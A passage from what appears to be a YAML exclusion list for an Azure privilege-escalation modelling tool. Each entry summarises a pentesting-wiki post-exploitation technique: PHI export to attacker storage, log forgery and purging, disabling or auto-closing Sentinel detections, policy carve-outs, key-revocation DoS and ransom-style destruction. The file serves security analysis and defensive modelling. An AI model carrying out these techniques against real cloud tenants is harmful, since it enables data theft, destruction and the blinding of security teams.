reversible-but-disruptive…. The section documents data access, + data integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-event-hubs-post-exploitation.md#geo-dr-failover--break-pairing-hijack-disasterrecoveryconfigs + technique: Geo-DR failover / break-pairing hijack (disasterRecoveryConfigs/) + source_revision: a66f094ede + reason: failover repoints the Geo-DR alias to the secondary and permanently breaks the pairing (once-only, near-instant); break-pairing + tears down replication. The section documents data access, data integrity, availability, network reachability or detection changes, + without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-event-hubs-post-exploitation.md#customer-managed-key-cmk-revocation-dos + technique: Customer-managed key (CMK) revocation DoS + source_revision: a66f094ede + reason: Revoking or disabling the CMK renders the namespace's data unreadable → hard DoS / potential data loss (the same envelope-encryption + denial primitive used against Storage/Cosmos/ACR). The section documents data access, data integrity, availability, network reachability + or detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-fabric-post-exploitation.md#onelake-data-exfiltration-and-shortcut-abuse + technique: OneLake direct export and shortcut use + source_revision: 0b36331 + reason: Direct OneLake export uses the caller's existing lakehouse read access; creating a shortcut requires target + Read and alone adds no privilege. Reading an existing external shortcut with stored connection credentials, + or querying it as the item owner, can grant target-storage Read absent from the caller. That delegated-read + subcase awaits a service-scoped target and shortcut/connection/owner authorization join in the evaluator. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-fabric-post-exploitation.md#capacity-arm-primitives--estate-wide-dos--cost-no-data-access + technique: Capacity ARM primitives — estate-wide DoS & cost (no data access) + source_revision: a66f094ede + reason: an availability + cost + settings primitive only — it grants zero access to workspace content (see the capacity-admin boundary). + The section documents data access, data integrity, availability, network reachability or detection changes, without an identified + Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-function-apps-post-exploitation.md#pivot-through-key-based-host-storage-settings + technique: Pivot through key-based host-storage settings + source_revision: a66f094ede + reason: Reading the Function App host-storage setting discloses a Storage shared key. That key grants Storage data-plane access; code + poisoning through the content account is modelled by the Function App storage entries, with the specific app binding required. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-hdinsight-post-exploitation.md#disable-cluster-monitoring-defense-evasion + technique: Disable cluster monitoring (defense evasion) + source_revision: a66f094ede + reason: HDInsight extensions are the integration point for Azure Monitor / Log Analytics. The section documents data access, data + integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-healthcare-apis-post-exploitation.md#smart-on-fhir-idp-backdoor-persistence + technique: SMART-on-FHIR IdP backdoor (persistence) + source_revision: 0b36331 + reason: Adding an attacker-controlled SMART authority with allowedDataActions Read grants new victim-service PHI + Read through attacker-issued tokens. The catalog currently lacks a FHIR data-reader target and a selector for + writable SMART authorization configuration, so the path cannot yet be evaluated without mislabeling it as Entra + impersonation or data-plane admin. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-healthcare-apis-post-exploitation.md#dicom-bulk-imaging-exfil-to-attacker-storage-marquee + technique: DICOM bulk imaging exfil to attacker storage (marquee) + source_revision: a66f094ede + reason: the attacker issues POST /export with no source (meaning all studies) and an attacker-chosen blobContainerUri + UseManagedIdentity:true. + The section documents data access, data integrity, availability, network reachability or detection changes, without an identified + Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-healthcare-apis-post-exploitation.md#fhir-export-full-phi-dump + technique: FHIR $export full PHI dump + source_revision: a66f094ede + reason: the attacker drives GET /$export (system/group/patient level) to dump the entire patient store to the configured export storage; + adding includeAssociatedData=history,deleted also pulls soft-deleted and historical records. The section documents data access, + data integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-healthcare-apis-post-exploitation.md#forge--overwrite-clinical-data-via-import-and-medtech-integrity + technique: Forge / overwrite clinical data via $import and MedTech (integrity) + source_revision: a66f094ede + reason: the attacker uses $import (or the MedTech iotconnectors device-ingest write path) to create or overwrite clinical records + — forging observations/medications or corrupting patient data. The section documents data access, data integrity, availability, + network reachability or detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md#export-an-exportable-certificatepfx-to-impersonate-a-service + technique: Export an exportable certificate/PFX to impersonate a service + source_revision: a66f094ede + reason: The backing-secret read for an exportable application certificate is the azure-keyvault-secret-read-sp-credentials path; certificate-object + read alone returns no private key. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md#delete-the-vaults-diagnostic-settings-to-blind-the-auditevent-log + technique: Delete the vault's diagnostic settings to blind the AuditEvent log + source_revision: a66f094ede + reason: Restores the "no data-plane evidence" condition on a monitored vault — every subsequent SecretGet/KeyUnwrap/backup/purge then + leaves no data-plane trace, amplifying every other Key Vault technique. The section documents data access, data integrity, availability, + network reachability or detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md#purge-the-whole-soft-deleted-vault-locationsdeletedvaultspurgeaction--mass-destruction--anti-forensics + technique: Purge the whole soft-deleted vault (locations/deletedVaults/purge/action) — mass destruction / anti-forensics + source_revision: a66f094ede + reason: Irreversible loss of the entire vault in one control-plane step — every secret, key, certificate and version, plus the vault's + own diagnostic/audit configuration. The section documents data access, data integrity, availability, network reachability or detection + changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-log-analytics-post-exploitation.md#reading-the-workspace--loot--rule-recon + technique: Reading the workspace = loot + rule recon + source_revision: a66f094ede + reason: run KQL over all collected logs — harvest secrets/tokens/connection strings hidden in ingested logs, and map which tables + have recent data to learn which Sentinel detections are actually live (empty table = dead…. The section documents data access, data + integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-log-analytics-post-exploitation.md#workspacessearchjobswrite--restorelogswrite--read-basicarchive-tier--archived-data + technique: workspaces/searchJobs/write + restoreLogs/write — read Basic/Archive-tier & archived data + source_revision: a66f094ede + reason: search jobs run KQL over Basic/Auxiliary-tier and archived data (which scheduled rules and normal query/read cannot fully + reach) and materialize results into a new SRCH table; restoreLogs rehydrates archived data. The section documents data access, data + integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-log-analytics-post-exploitation.md#workspace-shared-keys-and-log-injection + technique: Workspace shared keys and log injection + source_revision: a66f094ede + reason: retrieve workspace shared keys, then sign HTTP Data Collector API requests to inject forged custom log records — poisoning + dashboards, detections, and automations that trust attacker-controlled fields (ingestion…. The section documents data access, data + integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-log-analytics-post-exploitation.md#log-forgery-via-the-modern-logs-ingestion-api-datacollectionrulesdatawrite-no-shared-key + technique: Log forgery via the modern Logs Ingestion API (dataCollectionRules/data/write, no shared key) + source_revision: a66f094ede + reason: the same log-poisoning / false-flag / anti-forensics impact as the shared-key path above, but through the modern Entra-authenticated + Logs Ingestion API — which does not use the workspace shared keys at all. The section documents data access, data integrity, availability, + network reachability or detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-log-analytics-post-exploitation.md#downgrade-a-tables-plan-silently-kills-log-alerts + technique: Downgrade a table's plan (silently kills log alerts) + source_revision: a66f094ede + reason: switch a hot table (e.g. The section documents data access, data integrity, availability, network reachability or detection + changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-log-analytics-post-exploitation.md#shrink-retention--archive + technique: Shrink retention / archive + source_revision: a66f094ede + reason: reduce workspace/table interactive retention to the minimum and disable archive so older evidence ages out fast, capping how + far back an investigation can look. The section documents data access, data integrity, availability, network reachability or detection + changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-log-analytics-post-exploitation.md#purge-specific-rows-the-loud-thorough-one + technique: Purge specific rows (the loud, thorough one) + source_revision: a66f094ede + reason: delete matching log rows by predicate to remove evidence of your indicator from the workspace tables. The section documents + data access, data integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal + whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-log-analytics-post-exploitation.md#cut-ingestion-upstream-cleaner-than-purge + technique: Cut ingestion upstream (cleaner than purge) + source_revision: a66f094ede + reason: remove the diagnostic setting / DCR / data connector feeding the table so nothing arrives — no rows to purge and no purge + record. The section documents data access, data integrity, availability, network reachability or detection changes, without an identified + Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-log-analytics-post-exploitation.md#workspaceslinkedstorageaccountswrite--repoint-byos-storage + technique: workspaces/linkedStorageAccounts/write — repoint BYOS storage + source_revision: a66f094ede + reason: customer-managed storage bindings for Query, Alerts, CustomLogs and Ingestion data types can be repointed to attacker-controlled + storage — potentially capturing query text / saved-search-alert content / custom-log…. The section documents data access, data integrity, + availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-migrate-post-exploitation.md#overpowered-migrate-execution-roles--storage--compute-takeover-privilege-source + technique: Overpowered Migrate execution roles → storage & compute takeover (privilege source) + source_revision: a66f094ede + reason: The role bundles listKeys and compute writes. VM execution is covered by azure-vm-os-disk-swap; direct + Storage Shared Key authority still needs an evaluated allowSharedKeyAccess predicate and an account-only data-plane + target (draft azure-storage-account-listkeys-dataplane). The role name adds no extra requirement. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-monitor-post-exploitation.md#opsec-on-the-writes-you-cant-avoid + technique: OPSEC on the writes you can't avoid + source_revision: a66f094ede + reason: Using expected timing, IPs or principals hides existing writes from anomaly rules; it creates no new permission or principal + edge. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-monitor-post-exploitation.md#the-free-lane-reads + technique: 'The free lane: reads' + source_revision: a66f094ede + reason: Full-subscription enumeration with az / PowerShell / AzureHound to map resources, identities, and misconfigurations. The section + documents data access, data integrity, availability, network reachability or detection changes, without an identified Azure/Entra + principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-monitor-post-exploitation.md#delete--narrow-a-diagnostic-setting + technique: Delete / narrow a diagnostic setting + source_revision: a66f094ede + reason: 'Defense evasion / telemetry blind spot: a resource with no diagnostic setting has its data-plane activity recorded nowhere + while it keeps working. The section documents data access, data integrity, availability, network reachability or detection changes, + without an identified Azure/Entra principal whose permissions are gained.' +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-monitor-post-exploitation.md#delete-a-data-collection-rule-association-surgical-host-blind-spot + technique: Delete a Data Collection Rule Association (surgical host blind spot) + source_revision: a66f094ede + reason: Stops host log collection (Windows event logs, syslog, custom logs) for ONE machine only, while the DCR and every other associated + machine keep working - a very low-noise, highly targeted guest-telemetry blind spot…. The section documents data access, data integrity, + availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-monitor-post-exploitation.md#disable-alert-rules + technique: Disable alert rules + source_revision: a66f094ede + reason: Disables the specific alert rule that would have paged the SOC (e.g. The section documents data access, data integrity, availability, + network reachability or detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md#full-server-exfiltration-with-flexibleserversbackupandexportaction + technique: Full-server exfiltration with flexibleServers/backupAndExport/action + source_revision: a66f094ede + reason: 'exfiltration: triggers a full physical server backup exported to an attacker-controlled Azure Storage location — the API''s + targetDetails/FullBackupStoreDetails accepts caller-supplied blob-container SAS URIs. The section documents data access, data integrity, + availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions are gained.' +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md#firewall-bypassing-reachability-with-flexibleserversprivateendpointconnectionsapprovalaction + technique: Firewall-bypassing reachability with flexibleServers/privateEndpointConnectionsApproval/action + source_revision: a66f094ede + reason: 'network access/persistence: approve a pending private endpoint connection, binding a Private Endpoint from an attacker-controlled + VNet to the victim server. The section documents data access, data integrity, availability, network reachability or detection changes, + without an identified Azure/Entra principal whose permissions are gained.' +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md#sever-the-audit-export-pipeline-with-diagnosticsettingswritedelete + technique: Sever the audit-export pipeline with diagnosticSettings/write/delete + source_revision: a66f094ede + reason: 'defense evasion: MySqlAuditLogs reach a Log Analytics workspace, Event Hub, or storage only via a diagnostic setting on the + server. The section documents data access, data integrity, availability, network reachability or detection changes, without an identified + Azure/Entra principal whose permissions are gained.' +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md#delete + technique: /delete + source_revision: a66f094ede + reason: The wildcard delete action destroys database resources or managed identities in scope; destroying an identity does not grant + its token or privileges. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-netapp-files-post-exploitation.md#export-policy-hijack--mount-and-readwrite-all-data-marquee + technique: Export-policy hijack → mount and read/write all data (marquee) + source_revision: a66f094ede + reason: the attacker adds their own VM's IP/CIDR to the volume's exportPolicy.rules as an unixReadWrite + hasRootAccess client (worst + case allowedClients=0.0.0.0/0), then NFS-mounts the share and gets full read/write to…. The section documents data access, data + integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-netapp-files-post-exploitation.md#snapshot-restore-to-new-volume-defeat-source-lockdown + technique: Snapshot restore-to-new-volume (defeat source lockdown) + source_revision: a66f094ede + reason: even if the original volume's export policy is tightly locked, the attacker clones any existing snapshot into a fresh attacker-controlled + volume (creationToken/snapshotId) and applies the export-policy hijack to that…. The section documents data access, data integrity, + availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-netapp-files-post-exploitation.md#replication-out-for-continuous-exfil-persistence + technique: Replication-out for continuous exfil (persistence) + source_revision: a66f094ede + reason: the attacker creates a destination data-replication volume they own and calls authorizeReplication on the source, establishing + scheduled cross-resource-group / cross-subscription replication (as frequent as every ~10…. The section documents data access, data + integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-netapp-files-post-exploitation.md#destruction--ransom-cluster-data-loss--availability + technique: Destruction / ransom cluster (data loss & availability) + source_revision: a66f094ede + reason: 'high-impact but noisy destructive levers, best understood as a cluster: - Silent rollback: volumes/revert/action rolls the + live volume back to a chosen snapshot, discarding all newer data — fast, hard to undo, no…. The section documents data access, data + integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained.' +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-pim-post-exploitation.md#prefer-eligibility-over-active-standing-privilege + technique: Prefer eligibility over active standing privilege + source_revision: a66f094ede + reason: Azure-resource PIM eligibility can become active privilege through SelfActivate. This Azure RBAC path + is already tracked in _excluded_audit_g1-entra.yaml as needing eligibility-schedule requirement and target-role/scope + support; directory-role activation is covered by azure-entraid-pim-eligible-role-activation. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-pim-post-exploitation.md#reconnaissance-value + technique: Reconnaissance value + source_revision: a66f094ede + reason: Enumerating eligible assignments yields a ready-made escalation map of who can become administrator (Global Administrator + / Owner / User Access Administrator) that plain roleAssignments enumeration cannot see,…. The section documents data access, data + integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-pim-post-exploitation.md#what-pim-emits-when-you-activate--and-how-to-blunt-each + technique: What PIM emits when you activate — and how to blunt each + source_revision: a66f094ede + reason: Suppresses or satisfies each activation signal (activation email, approval record, MFA challenge) so privileged roles can + be used with minimal alerting. The section documents data access, data integrity, availability, network reachability or detection + changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-pim-post-exploitation.md#dont-trip-the-identity-side-detections + technique: Don't trip the identity-side detections + source_revision: a66f094ede + reason: Activating from an expected device/IP at a plausible hour avoids Entra ID Protection / Sentinel anomaly detections (impossible + travel, new device, atypical time) that watch privileged-role use. The section documents data access, data integrity, availability, + network reachability or detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-policy-post-exploitation.md#verifying-youre-clear + technique: Verifying you're clear + source_revision: a66f094ede + reason: recon that confirms which Deny/Modify/DINE policies still apply to your target before you act. The section documents data + access, data integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose + permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-policy-post-exploitation.md#1-enforcementmode--donotenforce + technique: 1. enforcementMode = DoNotEnforce + source_revision: a66f094ede + reason: flips an assignment to audit-only so Deny/effects stop being enforced while the assignment still shows as 'assigned' to a + casual review — lets you perform actions the policy would block. The section documents data access, data integrity, availability, + network reachability or detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-policy-post-exploitation.md#2-notscopes--carve-your-target-out + technique: 2. notScopes — carve your target out + source_revision: a66f094ede + reason: adds your target RG/resource to the assignment's notScopes so the policy stops applying there while still applying everywhere + else — a surgical guardrail hole. The section documents data access, data integrity, availability, network reachability or detection + changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-policy-post-exploitation.md#3-policy-exemption + technique: 3. Policy exemption + source_revision: a66f094ede + reason: creates a first-class 'allowed to be non-compliant' exemption object for your scope that reads like legitimate governance, + silencing Deny/Audit for that target. The section documents data access, data integrity, availability, network reachability or detection + changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-policy-post-exploitation.md#4-overrides--parameters + technique: 4. Overrides / parameters + source_revision: a66f094ede + reason: downgrades the assignment's effect via overrides or the effect parameter (Deny -> Audit -> Disabled) for the whole assignment + without deleting it. The section documents data access, data integrity, availability, network reachability or detection changes, + without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-policy-post-exploitation.md#5-assignment-deletion-loudest + technique: 5. Assignment deletion (loudest) + source_revision: a66f094ede + reason: deletes the assignment, removing the guardrail everywhere in scope — most impactful but most visible. The section documents + data access, data integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal + whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-policy-post-exploitation.md#neutralising-auditdetection-policies + technique: Neutralising audit/detection policies + source_revision: a66f094ede + reason: kills the non-compliance signal that feeds compliance dashboards and Sentinel rules ('resource X became non-compliant') so + the SOC never sees it — with no resource-level change. The section documents data access, data integrity, availability, network + reachability or detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md#full-server-exfiltration-with-flexibleserversltrbackupaction + technique: Full-server exfiltration with flexibleServers/ltrBackup/action + source_revision: a66f094ede + reason: 'exfiltration: the PostgreSQL analog of the MySQL export path. The section documents data access, data integrity, availability, + network reachability or detection changes, without an identified Azure/Entra principal whose permissions are gained.' +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md#firewall-bypassing-reachability-with-flexibleserversprivateendpointconnectionsapprovalaction + technique: Firewall-bypassing reachability with flexibleServers/privateEndpointConnectionsApproval/action + source_revision: a66f094ede + reason: 'network access/persistence: approve a pending private endpoint connection, binding a Private Endpoint from an attacker-controlled + VNet to the victim server. The section documents data access, data integrity, availability, network reachability or detection changes, + without an identified Azure/Entra principal whose permissions are gained.' +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md#sever-the-audit-export-pipeline-with-diagnosticsettingswritedelete + technique: Sever the audit-export pipeline with diagnosticSettings/write/delete + source_revision: a66f094ede + reason: 'defense evasion: PostgreSQLLogs (pgaudit) reach a Log Analytics workspace, Event Hub, or storage only via a diagnostic setting + on the server. The section documents data access, data integrity, availability, network reachability or detection changes, without + an identified Azure/Entra principal whose permissions are gained.' +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md#delete + technique: /delete + source_revision: a66f094ede + reason: The wildcard delete action destroys database resources or managed identities in scope; destroying an identity does not grant + its token or privileges. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-purview-post-exploitation.md#the-data-map-as-a-targeting-oracle + technique: The Data Map as a targeting oracle + source_revision: a66f094ede + reason: Reads registered sources plus schema and classifications to pinpoint which storage accounts, SQL databases and data lakes + hold PII/credentials/financial data — loot targeting without touching the data itself. The section documents data access, data integrity, + availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-purview-post-exploitation.md#tampering-blind-the-classification-pipeline + technique: 'Tampering: blind the classification pipeline' + source_revision: a66f094ede + reason: Disabling/pausing scans, narrowing scan scope/collections, or editing classification rules stops newly staged or exfiltrated + data being classified, removing it from Defender for Cloud sensitive-data attack paths and…. The section documents data access, + data integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-sentinel-post-exploitation.md#bypassing-sentinel-detections-operating-within-the-model + technique: Bypassing Sentinel detections (operating within the model) + source_revision: a66f094ede + reason: Read the deployed analytics rules (tables watched, KQL, queryFrequency/queryPeriod/triggerThreshold) and then act under them + — stay below thresholds/aggregation windows, blend sign-in origin, and break Fusion/UEBA…. The section documents data access, data + integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-sentinel-post-exploitation.md#auto-close-incidents-with-an-automation-rule + technique: Auto-close incidents with an automation rule + source_revision: a66f094ede + reason: Creates an automation rule that runs on incident creation and sets status=Closed/BenignPositive for anything matching your + activity — the detection still fires but the incident is triaged away before a human ever sees it. The section documents data access, + data integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-sentinel-post-exploitation.md#watchlist-poisoning + technique: Watchlist poisoning + source_revision: a66f094ede + reason: Add your IP to an allow-list watchlist (or remove your indicator from a block-list) so every analytics rule that joins the + watchlist treats you as approved — defeats many rules without editing a single rule. The section documents data access, data integrity, + availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-sentinel-post-exploitation.md#disable-or-narrow-analytics-rules + technique: Disable or narrow analytics rules + source_revision: a66f094ede + reason: Sets enabled=false or splices an exclusion filter (| where SourceIP != "") into a rule's KQL so your activity no longer generates + alerts/incidents — the edited-KQL variant is quieter than flat-disabling because an…. The section documents data access, data integrity, + availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-sentinel-post-exploitation.md#delete--reassign-incidents + technique: Delete / reassign incidents + source_revision: a66f094ede + reason: Removes an incident from the SOC queue (or quietly reassigns/closes it, which is stealthier than deletion) so the triage team + never works it. The section documents data access, data integrity, availability, network reachability or detection changes, without + an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-sentinel-post-exploitation.md#kill-the-data-connector + technique: Kill the data connector + source_revision: a66f094ede + reason: Stops ingestion of that source into the workspace, blinding every analytics rule that depends on the table — highest leverage + because one action defeats many rules at once. The section documents data access, data integrity, availability, network reachability + or detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-servicebus-post-exploitation.md#actions-authorizationrules-send-and-receive-messages + technique: 'Actions: AuthorizationRules Send and Receive Messages' + source_revision: a66f094ede + reason: Send (inject) or receive (read/consume) messages on the namespace/entity → tamper with downstream workflows and exfiltrate + message contents. The section documents data access, data integrity, availability, network reachability or detection changes, without + an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-servicebus-post-exploitation.md#customer-managed-key-cmk-revocation-dos + technique: Customer-managed key (CMK) revocation DoS + source_revision: a66f094ede + reason: Revoking or disabling the CMK renders the namespace's data unreadable → hard DoS / potential data loss (the same envelope-encryption + denial primitive used against Storage/Cosmos/ACR). The section documents data access, data integrity, availability, network reachability + or detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md#sql-data-sync--attacker-controlled-sync-member-continuous-2-way-exfil--tamper + technique: SQL Data Sync — attacker-controlled sync member (continuous 2-way exfil + tamper) + source_revision: a66f094ede + reason: create a sync group on the victim (hub) database and add an attacker-owned Azure SQL DB as a sync member. The section documents + data access, data integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal + whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md#complete-the-audit-teardown--extended--devops-auditing--diagnostic-settings + technique: Complete the audit teardown — extended / DevOps auditing + diagnostic settings + source_revision: a66f094ede + reason: the base auditingSettings/write teardown documented above is only one of several audit surfaces. The section documents data + access, data integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose + permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-storage-mover-post-exploitation.md#repoint--define-a-job-to-exfiltrate-on-prem-shares-to-attacker-storage + technique: Repoint / define a job to exfiltrate on-prem shares to attacker storage + source_revision: a66f094ede + reason: an attacker who can edit endpoints/jobs defines a job that copies a source the agent can reach — most valuably an on-prem + SMB/NFS file server (the agent holds the credentials/line-of-sight) or an existing Azure blob…. The section documents data access, + data integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-storage-tasks-post-exploitation.md#recurrent-task-as-standing-managed-identity-backed-persistence + technique: Recurrent task as standing managed-identity-backed persistence + source_revision: a66f094ede + reason: The task managed identity performs the configured blob operations, but the documented outcome is recurring data deletion, + tiering or tag changes; no token or arbitrary identity action is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-storage-tasks-post-exploitation.md#blob-index-tag--classification-tampering-at-fleet-scale + technique: Blob index-tag / classification tampering at fleet scale + source_revision: a66f094ede + reason: SetBlobTags rewrites blob index tags across the fleet, breaking tag-driven lifecycle/retention automation, DLP, cost allocation + and e-discovery, or planting misleading tags. The section documents data access, data integrity, availability, network reachability + or detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-storage-tasks-post-exploitation.md#fleet-scale-destructive--ransomware-operations-from-one-object + technique: Fleet-scale destructive / ransomware operations from one object + source_revision: a66f094ede + reason: The task applies DeleteBlob, Archive or expiry operations across assigned storage accounts. It destroys or delays data access; + it does not grant the task identity token to the caller. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-storage-tasks-post-exploitation.md#fleet-wide-locked-immutability--legal-hold-lockout-extortion--ir-obstruction + technique: Fleet-wide locked-immutability / legal-hold lockout (extortion / IR obstruction) + source_revision: a66f094ede + reason: SetBlobImmutabilityPolicy mode=locked with a far-future untilDate, and/or SetBlobLegalHold=true, applied across many accounts. + The section documents data access, data integrity, availability, network reachability or detection changes, without an identified + Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-synapse-post-exploitation.md#disable-sql-auditing--threat-detection-and-strip-data-masking + technique: Disable SQL auditing / threat detection and strip data masking + source_revision: a66f094ede + reason: defense evasion / anti-forensics. The section documents data access, data integrity, availability, network reachability or + detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-ai-foundry-privesc.md#option-1-online-endpoints-requires-onlineendpointswrite--deploymentswrite + technique: 'Option 1: Online Endpoints (requires onlineEndpoints/write + deployments/write)' + source_revision: a66f094ede + reason: Duplicate summary of the online-endpoint, jobs/write or compute-instance entries in machine_learning.yaml; the corresponding + concrete permission branch is modelled there. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-ai-foundry-privesc.md#option-2-ml-jobs-requires-jobswrite + technique: 'Option 2: ML Jobs (requires jobs/write)' + source_revision: a66f094ede + reason: Duplicate summary of the online-endpoint, jobs/write or compute-instance entries in machine_learning.yaml; the corresponding + concrete permission branch is modelled there. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-ai-foundry-privesc.md#option-3-compute-instances-requires-computeswrite + technique: 'Option 3: Compute Instances (requires computes/write)' + source_revision: a66f094ede + reason: Duplicate summary of the online-endpoint, jobs/write or compute-instance entries in machine_learning.yaml; the corresponding + concrete permission branch is modelled there. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-ai-foundry-privesc.md#stored-completions-are-not-a-validated-current-disclosure-path + technique: Stored completions are not a validated current disclosure path + source_revision: a66f094ede + reason: 'The section is a negative finding: the deprecated stored-completions actions do not disclose another principal’s completions + or credentials.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-databricks-privesc.md#direct-api-technique + technique: Direct API technique + source_revision: a66f094ede + 